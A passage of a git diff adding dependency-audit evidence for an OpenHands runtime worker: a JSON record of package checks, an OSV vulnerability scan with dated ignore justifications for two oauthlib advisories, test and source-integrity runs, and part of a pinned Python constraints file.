posthog==6.7.7\n + prompt-toolkit==3.0.52\n + propcache==0.4.1\n + proto-plus==1.26.1\n + protobuf==6.33.5\n + psutil==7.2.2\n + py-key-value-aio==0.4.4\n + pyasn1==0.6.4\n + pyasn1-modules==0.4.2\n + pycparser==2.23\n + pydantic==2.12.5\n + pydantic-core==2.41.5\n + pydantic-settings==2.11.0\n + pygments==2.20.0\n + pyjwt==2.14.0\n + pyotp==2.9.0\n + pyparsing==3.2.5\n + pypdf==6.16.1\n + pyperclip==1.11.0\n + python-dateutil==2.9.0.post0\n + python-docx==1.2.0\n + python-dotenv==1.2.2\n + python-frontmatter==1.1.0\n + python-json-logger==4.0.0\n + python-multipart==0.0.31\n + pyyaml==6.0.2\n + redis==7.2.1\n + referencing==0.36.2\n + regex==2025.9.18\n + reportlab==4.4.4\n + requests==2.33.0\n + requests-oauthlib==2.0.0\n + rich==14.3.3\n + rich-rst==1.3.2\n + rpds-py==0.27.1\n + screeninfo==0.8.1\n + secretstorage==3.5.0\n + six==1.17.0\n + sniffio==1.3.1\n + socksio==1.0.0\n + sortedcontainers==2.4.0\n + soupsieve==2.9\n + sse-starlette==3.0.2\n + starlette==1.3.1\n + tenacity==9.1.2\n + tiktoken==0.12.0\n + tokenizers==0.23.1\n + tom-swe==1.0.3\n + tqdm==4.67.1\n + tree-sitter==0.25.2\n + tree-sitter-bash==0.25.1\n + typing-extensions==4.15.0\n + typing-inspection==0.4.2\n + uncalled-for==0.2.0\n + uritemplate==4.2.0\n + urllib3==2.7.0\n + uuid7==0.1.0\n + uvicorn==0.52.4\n + watchfiles==1.1.1\n + wcwidth==0.2.14\n + websockets==15.0.1\n + wrapt==1.17.3\n + yarl==1.22.0\n + zipp==3.23.0\n" + }, + "native_pip_check": { + "argv": [ + "rtk", + "uv", + "pip", + "check", + "--python", + "/bin/python" + ], + "cwd": "", + "env": { + "UV_NO_CONFIG": "1" + }, + "started": "2026-09-30T07:40:06.374Z", + "ended": "2026-09-30T07:40:06.435Z", + "exit_code": 0, + "stdout": "", + "stderr": "Using Python 3.13.15 environment at: \nChecked 178 packages in 4ms\nAll installed packages are compatible\n" + }, + "native_sdk_imports": { + "argv": [ + "rtk", + "/bin/python", + "-c", + "import importlib.metadata as m; assert m.version('openhands-sdk') == m.version('openhands-tools') == '1.50.0'; from openhands.sdk import LLM, Agent, Conversation; from openhands.tools.terminal import TerminalTool; from openhands.tools.file_editor import FileEditorTool; print('SDK/tools 1.50.0 imports passed; no model request')" + ], + "cwd": "", + "env": { + "OPENHANDS_SUPPRESS_BANNER": "1" + }, + "started": "2026-09-30T07:40:07.644Z", + "ended": "2026-09-30T07:40:15.687Z", + "exit_code": 0, + "signal": null, + "stdout": "SDK/tools 1.50.0 imports passed; no model request\n", + "stderr": "" + }, + "exact_origin_main_repaired_osv": { + "argv": [ + "rtk", + "", + "scan", + "source", + "--config", + "/current-main-osv-scanner.toml", + "--no-resolve", + "--lockfile=requirements.txt:blueprints/runtime-workers/openhands/requirements.lock", + "--format", + "json", + "--output-file", + "/after-osv.json" + ], + "cwd": "", + "started": "2026-09-30T07:40:06.874Z", + "ended": "2026-09-30T07:40:07.496Z", + "exit_code": 0, + "signal": null, + "stdout": "", + "stderr": "Starting filesystem walk for root: /\nScanned /blueprints/runtime-workers/openhands/requirements.lock file and found 174 packages\nEnd status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 19.682266ms elapsed, 19.682336ms wall time\nGHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock.\nGHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted.\nFiltered 2 vulnerabilities from output\n/current-main-osv-scanner.toml has unused ignores:\n - GHSA-8mgp-746c-j5xp\n - GHSA-h35f-9h28-mq5c\n", + "config_sha256": "dc6c8e8a535f78314525b8845d64f12bb743457147c9db0cae6d84c9297f9f87", + "lock_sha256": "8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676", + "report_sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e" + }, + "integration_fixtures": { + "argv": [ + "rtk", + "/bin/python", + "-m", + "unittest", + "discover", + "-s", + "tests", + "-p", + "test_openhands_150.py", + "-v" + ], + "cwd": "", + "env": { + "OPENHANDS_SUPPRESS_BANNER": "1" + }, + "started": "2026-09-30T07:41:59.423Z", + "ended": "2026-09-30T07:42:06.109Z", + "exit_code": 0, + "signal": null, + "stdout": { + "artifact": { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-tests.txt", + "sha256": "426019d491fb2f4c889226578487d6ff85a9c5a2648e949d38156cb89c3c73d9", + "bytes": 2329 + }, + "content": "Complete returned stdout and stderr are retained in this sanitized transcript." + }, + "stderr": { + "artifact": { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-tests.txt", + "sha256": "426019d491fb2f4c889226578487d6ff85a9c5a2648e949d38156cb89c3c73d9", + "bytes": 2329 + } + } + }, + "maintained_jwt_callers": { + "argv": [ + "rtk", + "/bin/python", + "/maintained-jwt-callers.py", + "/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started": "2026-09-30T07:43:31.046Z", + "ended": "2026-09-30T07:43:39.296Z", + "exit_code": 0, + "stdout": { + "artifact": { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-jwt-callers.txt", + "sha256": "0b624ccf2ec63ed90a831bb02f7d05a338d490969482bee168179e5ac9a8b775", + "bytes": 3023 + }, + "content": "Complete returned stdout and stderr are retained in this sanitized transcript." + }, + "stderr": { + "artifact": { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-jwt-callers.txt", + "sha256": "0b624ccf2ec63ed90a831bb02f7d05a338d490969482bee168179e5ac9a8b775", + "bytes": 3023 + } + } + }, + "oauthlib_callers_first": { + "argv": [ + "rtk", + "/bin/python", + "/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", + "/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started": "2026-09-30T07:46:31.539Z", + "ended": "2026-09-30T07:46:57.385Z", + "exit_code": 1, + "signal": null, + "stdout": { + "artifact": { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers-first.txt", + "sha256": "56149cc6f319c70630e6949a3519f5483637bfdaeea2a3af1011c943b228d3ca", + "bytes": 6188 + }, + "content": "Complete returned stdout and stderr are retained in this sanitized transcript." + }, + "stderr": { + "artifact": { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers-first.txt", + "sha256": "56149cc6f319c70630e6949a3519f5483637bfdaeea2a3af1011c943b228d3ca", + "bytes": 6188 + } + } + }, + "oauthlib_callers": { + "argv": [ + "rtk", + "/bin/python", + "/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", + "/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started": "2026-09-30T07:49:11.171Z", + "ended": "2026-09-30T07:49:36.606Z", + "exit_code": 0, + "signal": null, + "stdout": { + "artifact": { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.txt", + "sha256": "44300134a28b763a02d17f36f34919084409c5e8288f3adc93987f67a6b4d82f", + "bytes": 37175 + }, + "content": "Complete returned stdout and stderr are retained in this sanitized transcript." + }, + "stderr": { + "artifact": { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.txt", + "sha256": "44300134a28b763a02d17f36f34919084409c5e8288f3adc93987f67a6b4d82f", + "bytes": 37175 + } + }, + "script_sha256": "080aa7cece92c786b7977ade5bf851aa776c31dbebafab98decfc5b1ae0e5960" + }, + "published_artifact_source_identity": { + "argv": [ + "rtk", + "/bin/python", + "-c", + "import hashlib,json,sys,tarfile,zipfile\nfrom pathlib import Path\np,site=map(Path,sys.argv[1:3]); results=[]\nartifacts=json.loads((p/'fresh-caller-artifacts.json').read_text())\nartifacts += [{'filename':'openhands_sdk-1.50.0-py3-none-any.whl','name':'openhands-sdk'}, {'filename':'openhands_tools-1.50.0-py3-none-any.whl','name':'openhands-tools'}]\nfor artifact in artifacts:\n f=p/artifact['filename']; sources=[]\n if f.suffix=='.whl':\n with zipfile.ZipFile(f) as z:\n sources=[(n,z.read(n)) for n in z.namelist() if n.endswith('.py')]\n else:\n with tarfile.open(f,'r:gz') as t:\n for member in t.getmembers():\n rel='/'.join(member.name.split('/')[1:])\n if rel.startswith('func_timeout/') and rel.endswith('.py'):\n sources.append((rel,t.extractfile(member).read()))\n mismatches=[]\n for rel,data in sources:\n target=site/rel\n if not target.is_file() or target.read_bytes()!=data: mismatches.append(rel)\n results.append({'name':artifact['name'],'artifact':f.name,'artifact_sha256':hashlib.sha256(f.read_bytes()).hexdigest(),'python_sources_compared':len(sources),'mismatches':mismatches})\nprint(json.dumps(results,indent=2))\nassert all(r['python_sources_compared']>0 and not r['mismatches'] for r in results)\n", + "", + "/lib/python3.13/site-packages" + ], + "started": "2026-09-30T07:51:48.957Z", + "ended": "2026-09-30T07:51:49.110Z", + "exit_code": 0, + "stdout": "[\n {\n \"name\": \"oauthlib\",\n \"artifact\": \"oauthlib-3.3.1-py3-none-any.whl\",\n \"artifact_sha256\": \"88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1\",\n \"python_sources_compared\": 75,\n \"mismatches\": []\n },\n {\n \"name\": \"requests-oauthlib\",\n \"artifact\": \"requests_oauthlib-2.0.0-py2.py3-none-any.whl\",\n \"artifact_sha256\": \"7dd8a5c40426b779b0868c404bdef9768deccf22749cde15852df527e6269b36\",\n \"python_sources_compared\": 15,\n \"mismatches\": []\n },\n {\n \"name\": \"google-auth-oauthlib\",\n \"artifact\": \"google_auth_oauthlib-1.2.2-py3-none-any.whl\",\n \"artifact_sha256\": \"fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2\",\n \"python_sources_compared\": 6,\n \"mismatches\": []\n },\n {\n \"name\": \"func-timeout\",\n \"artifact\": \"func_timeout-4.3.5.tar.gz\",\n \"artifact_sha256\": \"74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd\",\n \"python_sources_compared\": 6,\n \"mismatches\": []\n },\n {\n \"name\": \"openhands-sdk\",\n \"artifact\": \"openhands_sdk-1.50.0-py3-none-any.whl\",\n \"artifact_sha256\": \"441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa\",\n \"python_sources_compared\": 296,\n \"mismatches\": []\n },\n {\n \"name\": \"openhands-tools\",\n \"artifact\": \"openhands_tools-1.50.0-py3-none-any.whl\",\n \"artifact_sha256\": \"b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e\",\n \"python_sources_compared\": 93,\n \"mismatches\": []\n }\n]\n", + "stderr": "" + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-constraints.txt b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-constraints.txt new file mode 100644 index 000000000..fbf0c99bb --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-constraints.txt @@ -0,0 +1,334 @@ +agent-client-protocol==0.12.1 +aiofile==3.9.0 +aiofiles==25.1.0 +aiohappyeyeballs==2.6.1 +aiohttp==3.14.3 +aiosignal==1.4.0 +annotated-types==0.7.0 +anthropic==0.75.0 +anyio==4.14.2 +attrs==25.3.0 +authlib==1.6.12 +backoff==2.2.1 +beartype==0.22.9 +beautifulsoup4==4.14.2 +binaryornot==0.4.4 +blake3==1.0.9 +browser-use==0.11.9 +browser-use-sdk==2.0.15 +bubus==1.5.6 +cachetools==7.1.8 +caio==0.9.25 +cdp-use==1.4.4 +certifi==2025.8.3 +cffi==2.0.0 ; platform_python_implementation != 'PyPy' +chardet==5.2.0 +charset-normalizer==3.4.3 +cloudpickle==3.1.2 +colorama==0.4.6 ; sys_platform == 'win32' +cyclopts==4.6.0 +cython==3.1.4 ; platform_system != 'darwin' and sys_platform == 'darwin' +deprecation==2.1.0 +distro==1.9.0 +dnspython==2.8.0 +docstring-parser==0.17.0 +docutils==0.22.2 +email-validator==2.3.0 +exceptiongroup==1.3.0 +fakeredis==2.34.1 +fastmcp==3.2.0 +fastuuid==0.14.0 +filelock==3.20.3 +frozenlist==1.8.0 +fsspec==2025.9.0 +func-timeout==4.3.5 +google-api-core==2.26.0 ; python_full_version < '3.13' +google-api-core==2.31.0 ; python_full_version >= '3.13' +google-api-python-client==2.184.0 +google-auth==2.53.0 +google-auth-httplib2==0.2.0 +google-auth-oauthlib==1.2.2 +google-genai==1.75.0 +googleapis-common-protos==1.70.0 +groq==0.32.0 +grpcio==1.76.0 +h11==0.16.0 +hf-xet==1.1.10 ; platform_machine == 'aarch64' or platform_machine == 'amd64' or platform_machine == 'arm64' or platform_machine == 'x86_64' +httpcore==1.0.9 +httplib2==0.32.0 +httpx==0.28.1 +httpx-sse==0.4.3 +huggingface-hub==0.35.3 +idna==3.15 +importlib-metadata==8.5.0 +inquirerpy==0.3.4 +jaraco-classes==3.4.0 +jaraco-context==6.1.0 +jaraco-functools==4.4.0 +jeepney==0.9.0 ; sys_platform == 'linux' +jinja2==3.1.6 +jiter==0.11.0 +joserfc==1.7.5 +json-repair==0.60.1 +jsonref==1.1.0 +jsonschema==4.23.0 +jsonschema-path==0.3.4 +jsonschema-specifications==2025.9.1 +keyring==25.7.0 +libtmux==0.53.0 +litellm==1.93.0 +lmnr==0.7.60 +lmnr-claude-code-proxy==0.1.23 +lupa==2.8 +lxml==6.1.0 +markdown-it-py==4.0.0 +markdownify==1.2.0 +markupsafe==3.0.2 +mcp==1.28.1 +mdurl==0.1.2 +more-itertools==10.8.0 +multidict==6.7.0 +oauthlib==3.3.1 +ollama==0.6.0 +openai==2.33.0 +openapi-pydantic==0.5.1 +opentelemetry-api==1.39.1 +opentelemetry-exporter-otlp-proto-common==1.39.1 +opentelemetry-exporter-otlp-proto-grpc==1.39.1 +opentelemetry-exporter-otlp-proto-http==1.39.1 +opentelemetry-instrumentation==0.60b1 +opentelemetry-instrumentation-threading==0.60b1 +opentelemetry-proto==1.39.1 +opentelemetry-sdk==1.39.1 +opentelemetry-semantic-conventions==0.60b1 +opentelemetry-semantic-conventions-ai==0.4.13 +orjson==3.11.7 +packaging==26.3 +pathable==0.4.4 +pfzy==0.3.4 +pillow==12.3.0 +platformdirs==4.4.0 +portalocker==2.10.1 +posthog==6.7.7 +prompt-toolkit==3.0.52 +propcache==0.4.1 +proto-plus==1.26.1 +protobuf==6.33.5 +psutil==7.2.2 +py-key-value-aio==0.4.4 +pyasn1==0.6.4 +pyasn1-modules==0.4.2 +pycparser==2.23 ; implementation_name != 'PyPy' and platform_python_implementation != 'PyPy' +pydantic==2.12.5 +pydantic-core==2.41.5 +pydantic-settings==2.11.0 +pygments==2.20.0 +pyobjc==11.1 ; platform_system == 'darwin' +pyobjc-core==11.1 ; platform_system == 'darwin' or sys_platform == 'darwin' +pyobjc-framework-accessibility==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-accounts==11.1 ; (platform_release >= '12.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '12' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-addressbook==11.1 ; platform_system == 'darwin' +pyobjc-framework-adservices==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-adsupport==11.1 ; (platform_release >= '18.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '18' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-applescriptkit==11.1 ; platform_system == 'darwin' +pyobjc-framework-applescriptobjc==11.1 ; (platform_release >= '10.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '10' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-applicationservices==11.1 ; platform_system == 'darwin' +pyobjc-framework-apptrackingtransparency==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-audiovideobridging==11.1 ; (platform_release >= '12.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '12' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-authenticationservices==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-automaticassessmentconfiguration==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-automator==11.1 ; platform_system == 'darwin' +pyobjc-framework-avfoundation==11.1 ; (platform_release >= '11.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '11' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-avkit==11.1 ; (platform_release >= '13.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '13' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-avrouting==11.1 ; (platform_release >= '22.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '22' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-backgroundassets==11.1 ; (platform_release >= '22.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '22' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-browserenginekit==11.1 ; platform_release >= '23.4' and platform_system == 'darwin' +pyobjc-framework-businesschat==11.1 ; (platform_release >= '18.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '18' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-calendarstore==11.1 ; (platform_release >= '9.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '9' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-callkit==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-carbon==11.1 ; platform_system == 'darwin' +pyobjc-framework-cfnetwork==11.1 ; platform_system == 'darwin' +pyobjc-framework-cinematic==11.1 ; (platform_release >= '23.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '23' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-classkit==11.1 ; (platform_release >= '20.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '20' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-cloudkit==11.1 ; (platform_release >= '14.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '14' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-cocoa==11.1 ; platform_system == 'darwin' or sys_platform == 'darwin' +pyobjc-framework-collaboration==11.1 ; (platform_release >= '9.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '9' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-colorsync==11.1 ; (platform_release >= '17.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '17' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-contacts==11.1 ; (platform_release >= '15.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '15' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-contactsui==11.1 ; (platform_release >= '15.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '15' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-coreaudio==11.1 ; platform_system == 'darwin' +pyobjc-framework-coreaudiokit==11.1 ; platform_system == 'darwin' +pyobjc-framework-corebluetooth==11.1 ; (platform_release >= '14.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '14' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-coredata==11.1 ; platform_system == 'darwin' +pyobjc-framework-corehaptics==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-corelocation==11.1 ; (platform_release >= '10.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '10' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-coremedia==11.1 ; (platform_release >= '11.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '11' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-coremediaio==11.1 ; (platform_release >= '11.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '11' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-coremidi==11.1 ; platform_system == 'darwin' +pyobjc-framework-coreml==11.1 ; (platform_release >= '17.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '17' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-coremotion==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-coreservices==11.1 ; platform_system == 'darwin' +pyobjc-framework-corespotlight==11.1 ; (platform_release >= '17.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '17' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-coretext==11.1 ; platform_system == 'darwin' +pyobjc-framework-corewlan==11.1 ; (platform_release >= '10.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '10' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-cryptotokenkit==11.1 ; (platform_release >= '14.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '14' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-datadetection==11.1 ; (platform_release >= '21.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '21' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-devicecheck==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-devicediscoveryextension==11.1 ; (platform_release >= '24.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '24' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-dictionaryservices==11.1 ; (platform_release >= '9.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '9' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-discrecording==11.1 ; platform_system == 'darwin' +pyobjc-framework-discrecordingui==11.1 ; platform_system == 'darwin' +pyobjc-framework-diskarbitration==11.1 ; platform_system == 'darwin' +pyobjc-framework-dvdplayback==11.1 ; platform_system == 'darwin' +pyobjc-framework-eventkit==11.1 ; (platform_release >= '12.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '12' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-exceptionhandling==11.1 ; platform_system == 'darwin' +pyobjc-framework-executionpolicy==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-extensionkit==11.1 ; (platform_release >= '22.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '22' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-externalaccessory==11.1 ; (platform_release >= '17.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '17' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-fileprovider==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-fileproviderui==11.1 ; (platform_release >= '19.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '19' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-findersync==11.1 ; (platform_release >= '14.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '14' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-fsevents==11.1 ; platform_system == 'darwin' +pyobjc-framework-fskit==11.1 ; platform_release >= '24.4' and platform_system == 'darwin' +pyobjc-framework-gamecenter==11.1 ; (platform_release >= '12.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '12' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-gamecontroller==11.1 ; (platform_release >= '13.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '13' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-gamekit==11.1 ; (platform_release >= '12.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '12' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-gameplaykit==11.1 ; (platform_release >= '15.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '15' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-healthkit==11.1 ; (platform_release >= '22.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '22' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-imagecapturecore==11.1 ; (platform_release >= '10.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '10' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-inputmethodkit==11.1 ; (platform_release >= '9.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '9' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-installerplugins==11.1 ; platform_system == 'darwin' +pyobjc-framework-instantmessage==11.1 ; (platform_release >= '9.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '9' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-intents==11.1 ; (platform_release >= '16.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '16' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-intentsui==11.1 ; (platform_release >= '21.0' and platform_system == 'darwin' and sys_platform != 'darwin') or (platform_release >= '21' and platform_system == 'darwin' and sys_platform == 'darwin') +pyobjc-framework-iobluetooth==11.1 ; platform_system == 'darwin' +pyobjc-framework-iobluetoothui==11.1 ; platform_system == 'darwin' +pyobjc-framework-iosurface==11.1 ; (platform_release >= 